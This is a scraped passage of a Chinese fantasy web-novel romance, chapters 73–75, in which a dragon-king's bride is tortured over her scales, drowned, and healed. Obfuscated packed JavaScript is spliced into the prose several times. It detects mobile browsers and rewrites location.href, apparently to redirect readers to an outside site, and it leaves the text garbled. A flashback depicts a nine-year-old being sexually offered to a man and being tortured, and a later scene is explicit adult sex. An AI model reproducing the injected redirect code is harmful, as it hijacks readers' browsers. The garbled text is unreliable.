想了想,我又补充:“哦对了,看你这外形……你八成也是,你炸你自己也犯法。” 小银鱼被我忽悠得脑子都宕机了,懵圈地瞪大眼盯了我半晌,才闷闷不乐地用尾巴拍水,生气抱怨: “讨厌,真过分,管得真宽!不过我又不是人,我们河底生物只需要遵守黄河龙王制定的黄河水族万灵共生法。 弱肉强食,小的弱的要被大的强的弄死,本来就是我们水族生灵的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441227|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生存法则。 我就炸,就炸!反正大王不打我。” 我疲倦地翻身面向窗外:“你跟在你家大王身边,也这么吵吗?” 小银鱼傲娇的在水缸里跳来跳去:“对啊!我家大王就喜欢我多说话,他说这样,才能让他感受到自己还活着。” 我一怔,裹好被子不解问他:“可是你家大王平时看起来,似乎更喜欢安静,声音太多,他反而觉得杂乱。” 小银鱼傲娇道: “那是因为他现在上岸了,有家了,能感受到阳光了。 从前他被封印在血玉棺中,沉入不见天日的黄河河底千年,那种静,孤寂到恐怖…… 他在河底那千年,只有我陪在他身边,我不能为他做旁的事,只能每天努力多和他说几句话,尽量找话题引他提起兴趣,打起精神。 若是被封印的这千年他处于沉睡状态倒还好,眼一睁一闭,就千年过去了,也不会遭多少罪。 可偏偏,他被封印后,神识还是清醒的。 他每天都能看见水里的游鱼从血玉棺上方经过,看见有天光穿过浑浊黄水,打入河底。 但那天光,很稀少,太阳光再亮,落入大王眼中,也仅有一团朦胧的白。 河底水域是没有声音的,耳边唯一的动静,就是小鱼偶尔吐个泡泡,不久忽然炸开…… 河底那样暗,河水那样凉,大王被困在那方寸之地,连动一动身子都困难。 我陪大王待在河底的第一个百年,大王一天十二个时辰有十个时辰都在叹气。 大王那么大一条龙,只能蜷在血玉棺中望着河底的水草发呆,我实在怕大王被憋出个好歹,就学着凡人的声调,唱歌给大王听。 虽然唱得乱七八糟,但好在大王终于不叹气了,笑了。 后来,我每天都趴在棺外给大王讲黄河岸边发生的所有事,胡乱唱歌给大王听,我发现这个法子的确能为大王缓解痛苦。 所以后来这九百年,我这条碎嘴子小鱼就是这么和大王相依为命熬过来的。 大王他傻,明明自身都难保了,还时刻不忘肩上神职,这千年来,黄河每次泛滥发大灾都是大王强行元神出窍,上来以龙身抢救被卷入黄河的无辜百姓。 哪怕身上还背着天谴封印的禁制,也依旧不管不顾地强行使用神力为人间平息水患。 大王就是因为总元神出窍逆天而行使用仙术,后才遭了反噬,血玉棺封印之力加重双倍,大王的神力也日日涣散…… 前两年,大王的元神虚弱得都快陷入长眠了,我都怕**。 但好在,娘娘你总算出现了! 大王自从和娘娘在一起后,元神便慢慢强大起来,恢复如初。 当年我还以为娘娘你死、我还以为大王要一辈子被关在那副破棺材里呢。 没想到娘、老天爷竟然早有安排!” 帝曦从前,竟被封印千年,吃了这么多苦。 河底不见日月,不闻一丝响动,他被泡在冰冷的河水里,肯定受了不少心理与精神上的双重折磨。 幸好还有这条小银鱼守着他,不然,我都无法想象他有多痛苦。 我尝过孤单的滋味,我妈没回来那几年,我最怕放寒暑假。 一个人守着一片天地,从早到晚连个说话的人都没有。 每次新学期开学,都感觉自己语言表达能力退化了一大截…… 想张嘴,却半晌都说不出一句完整的话。 而帝曦就这样被困了整整千年,清醒地数着千年时光流逝,他该多难熬。 我抿了抿唇,问小银鱼:“帝曦他到底犯了什么错,才会被封在血玉棺里?” 第73章 让我老公抽你的筋扒你的皮! 他根本不是十恶不赦的龙神,可为什么上苍要用这么严厉的方式处罚他。 小银鱼幽幽叹口气: “哎——他啊,被人算计了,然后做了件……不可饶恕的事。 被他的亲爹与亲哥告上了天庭,天庭降罪,这才将他封在血玉棺中,逼他思过。 但他是冤枉的,他是被迷了神志才做出了那种……受万人唾弃的事。 娘娘你要相信我家大王,我家大王他就是因为从前太宅心仁厚才遭了算计!” 我裹紧被子喃喃说: “我当然信他,这世上其他人都有资格质疑他,唯独我没有。 我的命都是他续的,我又凭什么在未知全貌的情况下,理直气壮地站在道德制高点和世间大部人一起,指责他,伤害他。 我想知道他的过去,是为了以后能更好地和谐相处,而不是为了高高在上审判他的对错。” 小鱼游会鱼缸底部,摇头感慨:“时隔千年,还是这么护着他。上辈子为了他都……” 我没留意小银鱼嘀咕了些什么,满脑子都是帝曦受人算计被冤枉的事: “对了小鱼,现在帝曦出来了,还能查出当年的真相吗? 能找到证据吗?总不能一辈子背负那些莫须有的罪名。” “这个么——” 小鱼打了个哈欠道: “时隔千年这世间发生了很多事,大王也才刚发现他和这个世界有信息差,正在努力与现在的世界同频中。 反正,你不用管,你照顾好自己就行了! 从前那样犯险……你看你现在都弱成什么样了,身上的仙鳞都能被人扒走。 太丢人了,实在太丢人了!” 我顿时就不想和这家伙聊天了,他和他的主人一样,都喜欢哪壶不开提哪壶! 不大高兴地翻身换个方向睡,我故意逗他: “是呢,我就算丢失鳞片,你家大王也会帮我找回来,谁让我是他唯一的爱妃呢。” 小银鱼干笑两声:“哈、哈哈,还唯一的爱妃,他是你唯一的小心肝还差不多,你当年都没这么保护过我……” 当年? 我皱眉不解问:“我们从前,认识吗?” 小银鱼:“不认识。” “那你说什么当年我没保护过你……” “我说梦话还不行嘛!” “……” 果然,有什么样的主人就有什么样的宠物。 这条小破鱼和他主人一样嘴毒。 不过,说起龙鳞…… 今天又是十五了。 我伸手护住自己的右肩。 不晓得今晚又会有多疼…… 怕什么来什么,傍晚月亮刚从东边天升起来,我就感觉到自己的后背开始隐隐作痛。 我一刻不敢耽搁地起床抽开床头抽屉,从里面拿出镇痛药…… 又疼又怕地抖着手把药瓶扭开,倒出几粒,来不及数就被我仓促捂进嘴里。 端起桌上水杯,猛灌了口凉开水。 苦涩的药粒顺着喉头被凉水冲进食道,顺利送进胃里。 我从枕头下抽出干毛巾,像往常一样往嘴里塞。 可今晚鳞伤发作得比从前所有十五夜都厉害,不仅被剥鳞的地方痛,渐渐地,整个后背都被一张痛网笼罩住—— 像有无数只魔爪从皮下钻出,在一片一片揭我身上其他地方的鳞…… 额角瞬间痛出大片冷汗,我咬着毛巾疼得在床上打滚。 后背的皮肉好似慢慢龟裂开,往外渗着温热黏糊的东西。 我分不清那是血还是汗,想找人求救,又猛地想起今天是十五,仙家们都需要闭关汲取天地日月灵气修炼,稍有不慎就会走火入魔…… 只能强忍着锥心刺骨的剧痛,攥紧双手,不允许自己发出一声痛叫。 吃进胃里的镇痛药根本不管用,我指尖哆嗦着抹掉眼角潮湿,本想像从前许多次那样,拼命咬牙忍忍就过去了…… 可泪眼婆娑地低头无意一瞥,却发现我裙子下的双腿,袖子下的双臂,皮肤上都慢慢长出了粉色的鳞片—— 且我的腿,好似被大货车的车轱辘碾了一遍,骨头连着筋酸痛至极。 更让我绝望的是,我害怕地动了动双腿往床里侧退,我右边小腿紧贴皮肤的一片粉鳞,竟突然脱落了! 鳞片掉在床上,小腿腿骨上方徒留一个小血坑…… 我顿时就被吓得忘记了呼吸。 我的鳞,怎么会突然掉了! 不死心地伸手,颤抖的指腹轻轻触摸腿上剩下的那些鳞片…… 指尖一推,我根本没用力,另一片血淋淋的鳞,也脱落了下来! 我哪里见过这个场面,看见这一幕只觉得眼前天塌地陷,头昏目眩,强烈的恐惧感倾压砸下,双耳嗡鸣声盖过世间一切喧嚣。 我这是、要**么…… 身体难以承受的剧痛加上心里极度的恐慌,逼得我瞬间就泪水决堤,无声痛哭。 背上的痛感还在增强,我却已经忍耐到了极限。 差点痛得一口气憋死过去时,我的灵魂,好像受到了什么力量的召唤…… 那股力量在指引我、去黄河。 在告诉我,只要跳进黄河,我就不会那么痛了…… 极致痛苦的折磨下,我失去理智无法分辨接收到的信息真假。 踉跄跑出房间,离开家门,头疼欲裂地直奔黄河而去—— 可让我万万没想到的是,一袭黑袍的异瞳蛟仙此时就在外面守株待兔。 等着我这个猎物进网。 我刚跑到黄河岸边,手腕陡然被一股强劲力量擒住,墨衣蛟仙异瞳泛着破碎寒光,垂眸注视我这副狼狈模样,平静低吟:“你今晚果然又发作了。” 我根本没心情和他争吵,痛苦的用尽全力挣扎,企图把手腕从他掌心抽出来:“放开我!江墨川,你别招人嫌!” 不过,令我意外的是,今晚风柔也跟在他身边…… 见江墨川抓着我不撒手,风柔弱柳扶风的从他身后走出,捂着心口轻咳两声:“墨川哥哥,你别这么对小萦,会吓到小萦的。” 此情此景,我是真想骂一句:死绿茶! 江墨川眯了眯眸光寒冽的丹凤眼,一副志在必得的架势,高高在上地威胁我: “风萦,把龙鳞让给柔儿,本尊就施法帮你缓解疼痛。” 我听完这话,心里再度被激起汹涌怒意,痛得脾气暴躁,开口就冲他嘶吼: “江墨川,你原来有帮我缓解疼痛的方法! 所以过往那五年,你都是故意的! 故意看着我每个十五月圆夜疼得在床上地上打滚,你还说你帮不了我! 江墨川,你就是这么对你救命恩人的?!” 江墨川闻言,眸底寒光颤了颤,自知理亏地别过头,不敢与我眼神交汇: “柔儿现在亟需你的鳞片治病,她现在咳得连气都喘不上来,村里郎中说再不给她用特效药,她只能活两年。 风萦,你的恩我以后再报,如今我得先报答柔儿的恩。你身上有九片最重要的龙鳞,少一片无关紧要。” 我心急如焚地用力骂道:“需要特效药你去给她买,给她偷啊!凭什么打我龙鳞主意!” 江墨川抓在我右腕上的五指陡然收得更紧: “特效药哪有龙鳞好用,特效药只能治柔儿的咳疾,你的龙鳞,能让柔儿脱胎换骨变成健康女子。 风萦,要么把鳞给我,要么,你今晚就痛死在这!” “你浑蛋!”我急得哭出声,疼到发疯。 风柔还在边上故作大度的柔弱道:“墨川哥哥,你就别逼小萦了,我就这个命……咳咳。” 江墨川面不改色地阴恻恻道: “柔儿你放心,那片龙鳞,本尊今晚必能让她交出来。 本尊最清楚,她的鳞伤每月十五月初升时分发作得最凶猛。 她现在怕是疼得想往黄河里跳,黄河龙女与黄河之间有感应,跳入黄河的确能给她缓解痛楚,只要她不怕疼,不怕死,本尊就陪她在这耗着! 柔儿你放心,只要你想要的,本尊都会让你得到。” 我痛到麻木的崩溃大哭,一边使劲掰他魔爪,一边着急喊道:“你放开我!让我走,不然我会死的!” “交出龙鳞,本尊就放了你。” “龙鳞不在我手里,你有本事就去找我老公要!” “你觉得本尊会信? 本尊与你认识五年,你这样喜欢本尊都没放心将重要东西及秘密交给本尊,你和那条龙妖才认识多久? 风萦,本尊并非存心为难你,本尊只是无法眼睁睁看着柔儿受苦。 乖,把龙鳞交出来,交出来本尊这就为你压下疼痛。” “我交你妈!” 我忍无可忍地照着他那张丑陋面容就卯足劲猛扇了一巴掌,啪的一声脆响后,他那张白皙容颜上瞬间多出了四条血痕。 风柔惊恐捂嘴:“墨川哥哥你的脸!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444724|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江墨川不可思议的怒目圆瞪转回头,盯着我破防吼道: “风萦,你又扇本尊!是不是本尊给你脸了,你竟敢一次又一次地扇本尊巴掌,你上瘾了?!” 我望着他那张毁容的渣男脸心里这才升起一丝快感: “你都想要我的命了我扇你怎么了!死渣男!” 骂完还不解气,我扭头便冲着风柔发泄积压已久的怨气: “哭哭哭,哭什么哭!整天就知道哭,死绿茶! 你俩就是天生一对地设一双,王八看绿豆对上眼了! 癞**找臭屁虫,臭味相投! 怎么,你爸妈剥了我九片龙鳞,我好不容易找回一片你还想抢,你上辈子强盗吗这么喜欢别人的东西! 要我的龙鳞,想做龙女,你也不看看你配不配!什么黄河娘娘,你黄河水鬼还差不多!” 风柔许是这辈子都没见过我对她破口大骂的样子,装了太久娇娇女,这会子都被我骂得呆住了。 江墨川扬起巴掌就想打我:“风萦!” “你敢!” 我忍着浑身裂痛,身子发抖地瞪大双眼凝视他,破罐子破摔地呵斥道: “你今天打我,我明天就让我老公剥了你心爱女人的皮!” 江墨川大抵被我这副不要命的样子吓到了,巴掌停在半空,太阳穴突突跳得厉害。 见硬得不行,就想同我来软的: “风萦,别装了,你疼不死。 那片龙鳞已经回到你手中了,你的鳞伤会比从前痛得少些。 从前那些年,上百次的发作,你不都自己扛下来了么? 本尊,也没想让你死。 本尊就是想让你懂点事,把龙鳞让给你姐姐。 你没了一片龙鳞不打紧,柔儿没有这片龙鳞,会死。” “你没想让我死?”我浑身大汗淋漓地冷笑:“张老头手里的那瓶水,不就是你手笔?” “什么药水?”江墨川眉头一拧。 身后的风柔做贼心虚猛地捂着胸口咳出一抹血,捧着掌心的血迹害怕大哭:“墨川哥哥,我又咳血了……” 江墨川像条嗅到屎的疯狗,二话没说拽着我胳膊没耐心地逼问:“龙鳞呢,交出来!” 我强忍住声音不抖,再次回答他: “在我老公那,你去找他要! 你想熬,可以,看今晚是我先死还是你的柔儿先死! 哦对了,友情提示一下,看见我手腕上那条花手绳了吗? 你敢用法术攻击我,那条手绳就会百倍千倍地反噬回去! 我命硬,有的是时间陪你耗! 而且,我老公在我身上下了法术,你靠近我,他马上就会赶过来,抽你的筋扒你的皮!” 不就是吓唬人吗,谁还不会! 他脸一白,惶然松手。 我抓住机会扭头往黄河跑。 但江墨川这王八蛋实在太损,袖子一挥,下一秒我就躺进了一只狭小的木箱子里—— 木箱子失重下坠,砰地一声,好像落进了黄河。 “风萦,这就是你不听话的代价。” 很快,箱子装着我,沉进了冰冷的深河…… 身体上的疼痛刚有所缓解,往日的梦魇就再次撞入眼中。 呵,怪我从前大意了,才让他太了解我的弱点。 让他太清楚,怎么做,才能让我更痛苦…… 混着泥沙的黄河水淹过我头顶时,我恍惚听见岸上人惊呼道: “这是从她身上掉下的鳞……柔儿!你把那药给她用了? 你怎能不经过本尊的允许私自给她用这东西!” 女孩委屈的拖着哭腔: “什么药啊,我不知道啊,我以为是驱邪的符水,就给了张大叔。 我怎么能算到张大叔把符水泼到了小萦身上……墨川哥哥,你别这样,我怕。” 岸上的男人默了默,转头去哄: “好了,是本尊失态了,柔儿,别多想,本尊心中你才是第一位。” 女孩哭哭啼啼又说: “墨川哥哥,我能看出来,小萦还是在乎你的,她就是性子太犟,反正她身上别的鳞也没什么用…… 让她涨涨记性也好,毕竟你们俩以后是要过一辈子的,她总这样和你叫板,还怎么生活呀。 咳咳,我命薄,陪不了你多久的。” 男人立马心疼安抚: “好了柔儿,别想那么多,我会想法子治好你的…… 你说得对,让她涨涨记性,也好。” 第74章 本王懂得如何取悦你 破碎的记忆纷迭硬撞进脑海,那熟悉的惊惧感再次排山倒海般降临—— 冰凉河水淹没我的呼吸,灌入我的双耳。 我一时耳中失聪,整个脑壳都发闷发沉,像被罩进一个没有空气的玻璃球内…… 分明已经遗忘的痛苦回忆挤破脑袋地往我脑仁里硬钻,我憋着一口气,鼓着双腮撑到腮帮子被扯得酸痛。 木箱拖着我不断下沉,我不怕水,可眼前的无尽黑暗却将我硬拽回了九岁那年的夏天—— 大伯大娘那两副狰狞可憎的面孔在我眼中飞速闪现。 绳子、木箱、铁钉、老鼠、毒蝎…… “哎呦,你们两口子真会养姑娘,瞧这小丫头被你们养得细皮嫩肉……” “叔叔,你喝茶。” 中年肥胖老板一把揽过风柔的小腰,对着十来岁的风柔上下其手。 “宝贝儿啊,你怎么这么懂事,这么聪明呢? 哎呦,看得叔叔心都痒了。 这光滑白嫩的小胳膊,叔叔可太喜欢了——” 年少的风柔乖乖环住油腻老板的脖子,装作单纯天真: “叔叔,你喜欢柔柔的胳膊?我妹妹的皮肤更白更滑,尤其是背上的,水嫩得像刚剥壳的鸡蛋。叔叔,你想看吗?” 中年老板顿时馋得口水直流,两眼放光道:“是你那个龙女转世的妹妹吗?” 风柔眨巴着水灵灵的大眼睛,点头: “是啊,我妹妹长得特别好看,特别乖。叔叔,你见了肯定喜欢。” 不久,风大年用力把我推到大老板跟前。 大老板见着我,色眯眯地咽了口口水,伸手像抱风柔那样抱我…… 猛吸了口我衣领里的气味,大老板变态地闭眼昂头餍足惊叹: “真香……不愧是龙女转世,身上的莲花香,清新扑鼻,甜美温柔。 是不谙世事的少女香啊……” 大老板提出要亲眼看看货,大伯大娘立马心领神会。 大娘从后猛推了我一把,没好气地命令: “快,风萦,把上衣脱了,让老板看看你后背的鳞片。” 我警惕盯着那位肥头大耳的油腻中年男人,下意识护住衣领。 大娘见我不听话,索性直接自个儿上手拉扯我的衣物。 “风萦你个死丫头没听见我说的话吗!让你把衣裳脱了,给老板仔细看看货!” “你把衣领抓这么紧做什么?就你这身无二两肉的小身板,还怕被看?” “风萦!你是不是皮又痒了!” 大老板恶俗的目光死死盯在我胸口,一边贪婪朝我伸手,想摸我的锁骨,一边假模假样地劝阻大娘: “好了,别吓着孩子。乖宝啊,叔叔就是想看看你背后的鳞片长得美不美…… 哦呦,这吹弹可破的肌肤,真比剥了壳的鸡蛋还嫩,我在城里都没见过几次。 美中不足的就是,孩子太小了,太瘦了,都没有发育好……” 大伯也上手帮大娘对付我,一把薅住我的脖领咬牙狠声警告: “风萦,你要是敢坏了老子的好事,断了老子的财路,老子抽死你! 快点!把手撒开,把衣服脱了!” 大娘恶心地扭头去讨好大老板,冲大老板笑得眼角炸出七八道褶子: “这孩子平时被我们惯坏了,老板你勿怪哈,老板喜欢这孩子…… 今晚我就让这孩子伺候你一夜! 就是这价钱方面……” 大娘搓着手指头暗示大老板。 大老板秒懂,笑逐颜开地抬手点了点大娘:“好说,好说!” 那时我虽说年纪尚小,可该懂的我都懂了。 大伯大娘要把我送去陪大老板,我当然不愿意! 我忍无可忍地把一杯滚烫开水泼大老板脸上了…… 大老板顿时爆发出杀猪般的惨叫,捂着脸满脑门子起水泡。 “哎呦我的脸,我的脸啊!” 大伯大娘也被吓坏了,一个着急忙慌去打井水,一个取下墙上挂着的赶牛鞭,挥鞭就朝我脑袋劈下来—— 一鞭落下,我的头皮被瞬间劈裂,鞭尾沾着我的鲜血,血珠甩进我的眸子里…… 眼前霎时一片血红。 “快!用井水冰一冰!” “你这打的什么水啊!我怎么越冰泡起的越多!” “小柔快去找村里赤脚医生拿烫伤膏……” “姓风的,你们全家好样的!要不是看在我急需龙鳞的份上……你们今天死定了! 三十万,就按原定价格买!你们一分钱也别想多拿到!” “我就说风萦这个死丫头是丧门星来着! 小柔都已经把人家大老板给哄开心了,说好五十万买一片龙鳞的。 现在可好,大老板又反悔了!” “风萦,你个吃白饭的白眼狼,我真是白养你这么多年了! 二十万啊,就被你一杯滚水给泼没了! 该死的畜生,看我今天不打死你!” 那天,大伯用鞭子抽了我一个多小时。 抽累了,就歇几分钟,缓过气了,便继续抽…… 就这么断断续续抽得我皮开肉绽,痛得我在地上打滚,滚了满堂屋的血。 发泄完,大娘拎着我后脖领把我按回长凳上,先用手抠我的龙鳞…… 没抠下来,又用菜刀撬。 最后,龙鳞掉在了我手边,我睁开朦胧双眼,只见一片粉鳞在触手可及的地方熠熠生辉—— 而我,却连伸手捡回它的力气都没有…… “风萦这死丫头脾气实在是大得很!怪咱们之前太惯着她了! 还是得想个法子让她听话,磨磨她的性子!” 大娘满腔怨气没处撒地抱怨道。 大伯猛吸了口浓烟,吞云吐雾,说话时掐灭指间烟头,下定决心道: “是得磨磨她的性子,九片龙鳞没有卖完前,不能再让她整出别的幺蛾子了!” “爸妈,我想到一个好办法……老宅厨房里,最近不是闹蝎子吗?”风柔小声提议。 大伯扭头,淬了毒的目光像两条毒蛇缠在我身上,直勾勾盯了我半晌,走到我的床前,拽着我的长头发把我拖出了家—— 再睁眼,我已经被大伯关在了他家老宅厨房的破木箱子里了。 大伯用木板与钉子重新固定破木箱,封**箱盖。 我蜷缩在木箱子里,听着外面的刺耳敲打声,害怕捂住脑袋。 大伯还故意往木箱子上泼洗鱼的腥水—— 那三天,我先是被饿得头昏眼花,唇瓣发干。 然后,又被夜里钻进木箱的老鼠、蝎子惊醒…… 老宅里的蝎子老鼠都是饿极了的家伙。 它们肆意啃噬我的皮肉,吮吸我的鲜血。 我被困在封闭的箱子里,手无论往哪个地方放,都能按到软乎乎的耗子,或硬到硌手会动的毒蝎—— 甚至夜中惊醒,我还能感受到有蛇钻进了箱子里。 那三天的折磨,成了我此生都无法彻底忘记的阴影。 哪怕后来被卷进黄河失了忆,我忘掉了被关进箱子内的种种细节,忘记了是风柔给风大年两口子出的主意,把我害成那样…… 只隐约记得,还有这桩事。 我也会在之后的所有密闭环境内,下意识控制不住地害怕、惊恐、发疯—— 杨泽安说,我这种情况,叫密闭恐惧症。 轻则自伤,重则伤人—— 往日的种种恐怖画面疯狂冲击着我的视感,我张嘴想要嘶喊求救,却呛了一嗓子泥沙…… 风大年一家子的恐吓言语还回荡在我耳边,字字清晰。 “风萦,不想被关在箱子里,就听话,让大娘剥去你身上的鳞片!” “死丫头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我回过神,发现自己被一个男人搂在怀里,应激地含泪使劲推他、挠他。 他抓住我乱挠的手,温柔与我十指相扣,控制了我的动作。 低头吻住我的唇,舌尖霸道撬开我的唇齿,渡给我一口仙气。 我忽然发现,自己在水下不需要呼吸,心跳也能恢复正常了…… 但脑子里还是乱得厉害,看什么都像蝎子。 我泡在水里说不出话,只能拼命挣扎想逃离这个让人恐惧的世界—— 不管抱着我的人如何安抚我,我就是冷静不下来。 “萦儿……”他心疼的强势把我脑袋按在他胸膛上,但我不老实,还是又哭又闹。 他拿我没法子,只能抬手抚着我的后脑勺,低头亲吻我的唇,不停用渡我仙气的方式唤我清醒:“不怕,本王是帝曦,是你、夫君……” 他眸光深深地咬了下我唇瓣,闷声低哄: “听话,别害怕,萦儿,本王在……没人再敢欺负你。” 男人冰凉的大手抚上我失去知觉的脸颊,我被他给的仙气强行唤回了几缕清醒意识,视线聚焦,看清他的俊美容颜,顿时委屈冲他瘪嘴大哭起来…… 眼泪从鬓边飘过,我哭到哽咽抽搐,他疼惜拧眉,捧着我的侧脸,轻轻又吻我一下。 “本王知道你疼,知道你难受……有个法子,能让你很快就不疼了,下次也不会这么疼……” 他猛地将我搂得更紧些,深深再吻我一阵,低头抵着我的额,轻喘粗气说: “也不是第一次了……本王、懂得如何取悦你。所以等会子,不要害怕。” 不是、第一次? 我根本没力气再去理解他说的每句话了,认出他后,我只觉得,只要是他,我就可以什么都不去想、不去思考…… 任他处置。 我的心告诉我,在他身边,我就是最安全的。 嘴唇再次被柔软堵住,他抱着我缓缓下沉,一袭紫衣在水中翻飞飘扬。 远处的小银鱼惊叫:“啊耶,非礼勿视非礼勿视!” 第75章 大王,你不是单相思 他用神力在周围筑起一层雾蒙蒙的浪墙,隔绝了一切生灵及探究目光。 携着凉意的大手攀上我衣领,指尖稍稍用力,就扯开我的扣子…… 另一手稳稳握着我的腰肢,于昏暗河底携我猛地旋身转了一圈。 他身上紫袍除去,紫色衣角从我双目前方擦过,视线一黑,再能看见他的轮廓时,我的身子已经完全浸泡在了微寒的河水深处…… 不着寸缕。 他怜悯地将大手滑至我后腰,臂力稍收。 我颤了下,伏在他怀里心绪有一瞬惊乱。 他停住动作,温柔至极的浅声安抚我:“是本王,是、帝曦,你老公……” 我慢慢松开紧攥的十指,在后背又一波剧痛来袭的第一秒,含泪伸手抱住了他雪白结实、强劲有力的窄腰。 他摸摸我的脑袋,性感的喉结滚了下。 磁性好听的嗓音低沉着提醒我:“本王、开始了……” 话音落,他开始轻啄我的耳尖,吻我鼻尖、眉心。 尽可能用温柔动作抚慰受了惊,神智失常的我。 他修长如玉的大手很君子地没有乱碰,只用和风细雨般的轻吻勾得我体温升高—— 我眨了眨被泪水涨得不适的双眼,不由自主地想起,从前的每一次梦中相见…… 他从一开始的生涩、紧张,到后来的精准把控、游刃有余。 梦里,他总是能诱得我心魂荡漾,理智全无。 后来与他正式相见,虽说每晚也都同床共枕,可我们俩,似乎都对对方失去了那些欲念…… 哪怕我每晚都会控制不住地偷偷钻进他怀里,也只是把他当成一个抱着舒服的人形抱枕,不敢对他生出半分非想。 可直到此时此刻,心底那些熟悉的欲望疯狂滋长,我猛然醒悟,发觉对他失去那些念头,是假的。 而且,不知道为什么,在水下我的记忆力竟出奇的好—— 我想起了与他第一次在梦中、水下相见,就是上个月十五…… 上元佳节,人间元宵。 我趴在床上疼晕了过去,灵魂却被一缕紫光拽进了梦里,沉入了黄河。 落进了他怀里。 他最初嫌弃地想将我丢出去,但见我半死不活的样子,终究还是心软抱住我,试了试我的额温…… 第一回,也是我主动搂住他的脖子,用强吻他的方式缓解疼痛。 再后来,我们俩是怎么滚到一起去的,过程我已经完全想不起来了。 只记得,他很鲁莽。 那么大一条龙,却没轻没重的。 结束后,我身上的鳞伤就一点也不痛了。 那是我这么多年来,第一次那么快就从鳞伤的致命剧痛中解脱出来…… 原来,我们从第一次相见开始,他就一直在给我治伤。 那半个月,他是总抽风各种嫌弃我,但能为我做的事,他都做了…… 想到这些,我埋进他脖窝里哭得更凶了。 但很快,哭声就被融进灵魂的凉意打断了…… 我们周围突然多出了许多成群结队往上飘的小泡泡,春水紫花自我们脚下飞旋而上,萦绕在我们身畔。 无数会发光的银蝶飞舞在昏沉的河底,为深渊点上千盏萤灯,添上朦胧光亮。 他察觉到我眼泪飘得比之前多,以为我是在害怕,便抱紧我,吻住我。 薄唇抵着我发颤的唇瓣,柔声把控:“疼,就放轻松……” “你今晚,过于紧张了。” “萦儿……找找从前的感觉。” 我听话的哽了哽,压下心头的悸动,主动壮着胆子,配合他。 泡泡在河底一个接一个砰砰炸开。 我越配合越哭,手臂上的绯红鳞片在银灯映照下,流光溢彩…… 鳞片脱落的伤处开出一朵朵血色蔷薇花。 蔷薇花从我的皮肤上飞出去,融入盘踞萦绕在我们身边的紫色玉灵花瓣中…… 红字二色,极为相配。 “萦儿……”他伏在我肩上,低低喟叹。 我张了张嘴,发现干涩的喉咙能出声了,喜极而泣地抱住他,开心的一遍又一遍唤他名字:“帝曦,帝曦……” 他抚了抚我的背,容我喘口气,“本王不是给了你传音铃了么?” 我委屈呜咽:“疼的时候,脑子很乱,什么都忘记了……” 搂紧他的脖子和他告状: “江墨川又来欺负我了,我想过用铃铛把你摇回来揍死他。 可我怕你在忙,你说过非命悬一线,不能乱摇铃铛的……” 他的心重重一沉,护着我呼吸急促、胸口起伏猛烈的身子,无奈道: “本王是怕你把铃铛当成小玩意,有事没事拿出来召唤本王,不是不让你摇。 本王给你铃铛,就是为了让你在遇见危险时能立马联系上本王…… 罢了,以后,你何时想摇,都可以摇。” 等我缓过来了,他才继续循序渐进地办正事,把我脑袋按在他怀里,他磁音沙哑地低吟: “好在本王与你之间还有共生契,不然本王连你被人害了都不知道…… 你若是**,本王恐是,会后悔终生。” 我还是第一次在他口中听到他在意我的话……昂头泪眼巴巴地看着他。 他不解:“又哭什么?” 我哽咽道:“你不想让我死……帝曦,只有你、只有你……” 才会不想我死。 他愣了下,深深看了我良久,才抬手把我脑袋重新按回肩上…… 喉结连滚两下,哑声霸道命令:“不许、用这种眼神看本王……” 我委屈哼哼。 他心跳失衡地抓紧我胳膊:“风萦……不许咬本王。” 我哽住,分神回应他:“我什么时候咬……” 话没说完,就被他皱着眉头绷着太阳穴,低头蛮横吻了住。 还不让问…… 真是不讲理。 攥成拳头的手被他一点点掰开,骨节分明的玉指穿梭进我的指缝,慢慢与我十指相扣—— 没多久,他更是把不讲理发挥到了极点。 被他筑起的水墙内花瓣飘得到处都是,流水繁花在水光中肆意徜徉。 灵蝶翩翩飞舞,将本该浑浊阴寒的黄河最深处映照得像水下仙境。 我身上的鳞伤已经完全不疼了,可他还是不肯消停—— 翻来覆去的折腾到我疲倦昏睡过去才收手。 事后,他摩挲着我肌肤上的红痕,心虚地淡淡道了句:“还是没收住力……” 扯过自己的外袍遮在我身上,抱着累到睁不开眼、意识不清的我上岸。 后来,我感受到了岸边的****凉风—— “大王……说好的报仇呢?说好的抽筋剥骨**万段呢?” “你没护好她,你失职了。” “她跑出去的时候一丝动静都没弄出来,我眼一闭一睁她人就没了! 再说,我就算跟着追出来,也帮不上娘娘啊,你晓得的,我是个废柴,我的法力治头牛都费劲…… 我和余惊云他们不一样,我是精灵不是妖,精灵一类向来法力半吊子…… 而且,我哪有大王你快啊,娘娘才被丢进水里,不到五分钟你就回来了。 娘娘的鳞伤,也就只有大王你能治。 大王,这分明是个除掉娘娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 